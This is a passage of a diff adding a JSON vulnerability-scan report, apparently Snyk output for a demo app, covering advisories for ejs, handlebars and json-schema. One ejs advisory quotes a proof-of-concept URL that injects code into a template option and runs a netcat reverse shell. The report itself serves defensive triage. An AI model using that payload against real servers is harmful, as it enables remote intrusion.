"functionId": { + "filePath": "ejs.js", + "functionName": "1.exports.render" + }, + "version": [ + "<2.2.1" + ] + }, + { + "functionId": { + "filePath": "lib/ejs.js", + "functionName": "exports.render" + }, + "version": [ + "<2.2.1" + ] + } + ], + "semver": { + "vulnerable": [ + "<2.5.3" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "ejs@1.0.0" + ], + "upgradePath": [ + false, + "ejs@2.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ejs", + "version": "1.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P", + "alternativeIds": [], + "creationTime": "2022-04-26T09:01:03.387695Z", + "credit": [ + "evi0s" + ], + "cvssScore": 8.1, + "description": "## Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\r\n\r\n\r\n**Note:**\r\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\r\n\r\n## PoC:\r\nCreation of reverse shell:\r\n```\r\nhttp://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\r\n```\n## Remediation\nUpgrade `ejs` to version 3.1.7 or higher.\n## References\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\n- [GitHub Release](https://github.com/mde/ejs/releases)\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\n", + "disclosureTime": "2022-04-26T08:36:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.1.7" + ], + "id": "SNYK-JS-EJS-2803307", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "CVE": [ + "CVE-2022-29078" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-26T13:41:31.873315Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": false, + "publicationTime": "2022-04-26T13:41:31.870922Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/mde/ejs/issues/451" + }, + { + "title": "GitHub Release", + "url": "https://github.com/mde/ejs/releases" + }, + { + "title": "Security Advisory", + "url": "https://eslam.io/posts/ejs-server-side-template-injection-rce/" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Remote Code Execution (RCE)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.1.7" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "ejs-locals@1.0.2", + "ejs@0.8.8" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "name": "ejs", + "version": "0.8.8" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [ + "SNYK-JS-EJS-10218" + ], + "creationTime": "2016-11-28T18:44:12.405000Z", + "credit": [ + "Snyk Security Research Team" + ], + "cvssScore": 8.1, + "description": "## Overview\r\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\r\nAffected versions of the package are vulnerable to _Remote Code Execution_ by letting the attacker under certain conditions control the source folder from which the engine renders include files.\r\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\r\n\r\nThere's also a [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) & [Denial of Service](https://snyk.io/vuln/npm:ejs:20161130-1) vulnerabilities caused by the same behaviour. \r\n\r\n## Details\r\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\r\n\r\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\r\n```js\r\nejs.render(str, data, options);\r\n\r\nejs.renderFile(filename, data, options, callback)\r\n```\r\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\r\n```js\r\nejs.render(str, dataAndOptions);\r\n\r\nejs.renderFile(filename, dataAndOptions, callback)\r\n```\r\n\r\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `root` option, which allows changing the project root for includes with an absolute path. \r\n\r\n```js\r\nejs.renderFile('my-template', {root:'/bad/root/'}, callback);\r\n```\r\n\r\nBy passing along the root directive in the line above, any includes would now be pulled from `/bad/root` instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.\r\n\r\nThe [fix](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\r\n\r\n## Disclosure Timeline\r\n- November 27th, 2016 - Reported the issue to package owner.\r\n- November 27th, 2016 - Issue acknowledged by package owner.\r\n- November 28th, 2016 - Issue fixed and version `2.5.3` released.\r\n\r\n## Remediation\r\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\r\nOtherwise, Upgrade `ejs` to version `2.5.3` or higher.\r\n\r\n## References\r\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\r\n- [Fix commit](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6)", + "disclosureTime": "2016-11-27T22:00:00Z", + "exploit": "Not Defined", + "functions": [ + { + "functionId": { + "filePath": "lib/ejs.js", + "className": null, + "functionName": "cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "className": null, + "functionName": "1.cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "className": null, + "functionName": "1.exports.render" + }, + "version": [ + "<2.2.1" + ] + }, + { + "functionId": { + "filePath": "lib/ejs.js", + "className": null, + "functionName": "exports.render" + }, + "version": [ + "<2.2.1" + ] + } + ], + "fixedIn": [ + "2.5.3" + ], + "id": "npm:ejs:20161128", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "ALTERNATIVE": [ + "SNYK-JS-EJS-10218" + ], + "CVE": [ + "CVE-2017-1000228" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:41:49.346213Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [ + { + "comments": [], + "id": "patch:npm:ejs:20161128:0", + "modificationTime": "2019-12-03T11:40:45.851976Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/ejs/20161128/ejs_20161128_0_0_3d447c5a335844b25faec04b1132dbc721f9c8f6.patch" + ], + "version": "<2.5.3 >=2.2.4" + } + ], + "proprietary": true, + "publicationTime": "2016-11-28T18:44:12Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/fixing-ejs-rce-vuln" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Arbitrary Code Execution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "lib/ejs.js", + "functionName": "cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "functionName": "1.cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "functionName": "1.exports.render" + }, + "version": [ + "<2.2.1" + ] + }, + { + "functionId": { + "filePath": "lib/ejs.js", + "functionName": "exports.render" + }, + "version": [ + "<2.2.1" + ] + } + ], + "semver": { + "vulnerable": [ + "<2.5.3" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "ejs-locals@1.0.2", + "ejs@0.8.8" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "name": "ejs", + "version": "0.8.8" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-11-15T15:45:34.906048Z", + "credit": [ + "Francois Lajeunesse-Robert" + ], + "cvssScore": 8.1, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.\n## Remediation\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n## References\n- [NPM Security Advisory #1](https://www.npmjs.com/advisories/1316)\n- [NPM Security Advisory #2](https://www.npmjs.com/advisories/1324)\n", + "disclosureTime": "2019-11-14T15:29:41Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.5.3", + "3.0.8" + ], + "id": "SNYK-JS-HANDLEBARS-534478", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "NSP": [ + "1316", + "1324" + ], + "CVE": [ + "CVE-2019-20920" + ], + "GHSA": [ + "GHSA-q2c6-c6pm-g3gh", + "GHSA-2cf5-4w76-r9qv" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-02-11T12:35:29.725892Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-15T15:48:43Z", + "references": [ + { + "title": "NPM Security Advisory #1", + "url": "https://www.npmjs.com/advisories/1316" + }, + { + "title": "NPM Security Advisory #2", + "url": "https://www.npmjs.com/advisories/1324" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Arbitrary Code Execution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.5.3", + "<3.0.8" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14" + ], + "upgradePath": [ + false, + "hbs@4.1.0", + "handlebars@4.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.14" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [], + "creationTime": "2019-11-20T09:54:27.277624Z", + "credit": [ + "Vladyslav Babkin" + ], + "cvssScore": 9.8, + "description": "## Overview\n\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\n\nAffected versions of this package are vulnerable to Prototype Pollution.\nIt is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n## Details\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\r\n\r\nThere are two main ways in which the pollution of prototypes occurs:\r\n\r\n- Unsafe `Object` recursive merge\r\n \r\n- Property definition by path\r\n \r\n\r\n### Unsafe Object recursive merge\r\n\r\nThe logic of a vulnerable recursive merge function follows the following high-level model:\r\n```\r\nmerge (target, source)\r\n\r\n foreach property of source\r\n\r\n if property exists and is an object on both the target and the source\r\n\r\n merge(target[property], source[property])\r\n\r\n else\r\n\r\n target[property] = source[property]\r\n```\r\n
\r\n\r\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\r\n\r\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\r\n\r\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\r\n\r\n### Property definition by path\r\n\r\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\r\n\r\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\r\n\r\n## Types of attacks\r\n\r\nThere are a few methods by which Prototype Pollution can be manipulated:\r\n\r\n| Type |Origin |Short description |\r\n|--|--|--|\r\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\r\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\r\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\r\n\r\n## Affected environments\r\n\r\nThe following environments are susceptible to a Prototype Pollution attack:\r\n\r\n- Application server\r\n \r\n- Web server\r\n \r\n\r\n## How to prevent\r\n\r\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\r\n \r\n2. Require schema validation of JSON input.\r\n \r\n3. Avoid using unsafe recursive merge functions.\r\n \r\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\r\n \r\n5. As a best practice use `Map` instead of `Object`.\r\n\r\n### For more information on this vulnerability type:\r\n\r\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\n\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7)\n\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1325)\n", + "disclosureTime": "2019-11-18T19:42:01Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.5.3", + "3.0.8" + ], + "id": "SNYK-JS-HANDLEBARS-534988", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1325" + ], + "CVE": [], + "GHSA": [ + "GHSA-g9r4-xpmj-mj65" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-07T10:34:40.084216Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-20T09:55:17Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7" + }, + { + "title": "NPM Security Advisory", + "url": "https://www.npmjs.com/advisories/1325" + } + ], + "severity": "critical", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.5.3", + "<3.0.8" + ] + }, + "severityWithCritical": "critical", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14" + ], + "upgradePath": [ + false, + "hbs@4.1.0", + "handlebars@4.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.14" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-11-15T15:45:34.906048Z", + "credit": [ + "Francois Lajeunesse-Robert" + ], + "cvssScore": 8.1, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.\n## Remediation\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n## References\n- [NPM Security Advisory #1](https://www.npmjs.com/advisories/1316)\n- [NPM Security Advisory #2](https://www.npmjs.com/advisories/1324)\n", + "disclosureTime": "2019-11-14T15:29:41Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.5.3", + "3.0.8" + ], + "id": "SNYK-JS-HANDLEBARS-534478", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "NSP": [ + "1316", + "1324" + ], + "CVE": [ + "CVE-2019-20920" + ], + "GHSA": [ + "GHSA-q2c6-c6pm-g3gh", + "GHSA-2cf5-4w76-r9qv" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-02-11T12:35:29.725892Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-15T15:48:43Z", + "references": [ + { + "title": "NPM Security Advisory #1", + "url": "https://www.npmjs.com/advisories/1316" + }, + { + "title": "NPM Security Advisory #2", + "url": "https://www.npmjs.com/advisories/1324" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Arbitrary Code Execution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.5.3", + "<3.0.8" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [], + "creationTime": "2019-11-20T09:54:27.277624Z", + "credit": [ + "Vladyslav Babkin" + ], + "cvssScore": 9.8, + "description": "## Overview\n\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\n\nAffected versions of this package are vulnerable to Prototype Pollution.\nIt is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n## Details\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\r\n\r\nThere are two main ways in which the pollution of prototypes occurs:\r\n\r\n- Unsafe `Object` recursive merge\r\n \r\n- Property definition by path\r\n \r\n\r\n### Unsafe Object recursive merge\r\n\r\nThe logic of a vulnerable recursive merge function follows the following high-level model:\r\n```\r\nmerge (target, source)\r\n\r\n foreach property of source\r\n\r\n if property exists and is an object on both the target and the source\r\n\r\n merge(target[property], source[property])\r\n\r\n else\r\n\r\n target[property] = source[property]\r\n```\r\n
\r\n\r\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\r\n\r\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\r\n\r\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\r\n\r\n### Property definition by path\r\n\r\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\r\n\r\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\r\n\r\n## Types of attacks\r\n\r\nThere are a few methods by which Prototype Pollution can be manipulated:\r\n\r\n| Type |Origin |Short description |\r\n|--|--|--|\r\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\r\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\r\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\r\n\r\n## Affected environments\r\n\r\nThe following environments are susceptible to a Prototype Pollution attack:\r\n\r\n- Application server\r\n \r\n- Web server\r\n \r\n\r\n## How to prevent\r\n\r\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\r\n \r\n2. Require schema validation of JSON input.\r\n \r\n3. Avoid using unsafe recursive merge functions.\r\n \r\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\r\n \r\n5. As a best practice use `Map` instead of `Object`.\r\n\r\n### For more information on this vulnerability type:\r\n\r\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\n\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7)\n\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1325)\n", + "disclosureTime": "2019-11-18T19:42:01Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "4.5.3", + "3.0.8" + ], + "id": "SNYK-JS-HANDLEBARS-534988", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1325" + ], + "CVE": [], + "GHSA": [ + "GHSA-g9r4-xpmj-mj65" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-07T10:34:40.084216Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-11-20T09:55:17Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7" + }, + { + "title": "NPM Security Advisory", + "url": "https://www.npmjs.com/advisories/1325" + } + ], + "severity": "critical", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=4.0.0 <4.5.3", + "<3.0.8" + ] + }, + "severityWithCritical": "critical", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.5.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.11" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", + "alternativeIds": [], + "creationTime": "2021-11-14T15:11:37.579980Z", + "credit": [ + "Yoshino-s" + ], + "cvssScore": 8.6, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `validate` function, which when given a special payload will pollute `Object` with undesired attributes.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `json-schema` to version 0.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/kriszyp/json-schema/commit/22f146111f541d9737e832823699ad3528ca7741)\n", + "disclosureTime": "2021-11-14T15:05:57Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "0.4.0" + ], + "id": "SNYK-JS-JSONSCHEMA-1920922", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [ + "CVE-2021-3918" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-12-17T15:25:44.736835Z", + "moduleName": "json-schema", + "packageManager": "npm", + "packageName": "json-schema", + "patches": [], + "proprietary": false, + "publicationTime": "2021-11-14T16:49:43.070251Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/kriszyp/json-schema/commit/22f146111f541d9737e832823699ad3528ca7741" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<0.4.0" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "http-signature@1.2.0", + "jsprim@1.4.1", + "json-schema@0.2.3" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "http-signature@1.2.0", + "jsprim@1.4.2", + "json-schema@0.4.0" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "json-schema", + "version": "0.2.3" + }, + { + "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": 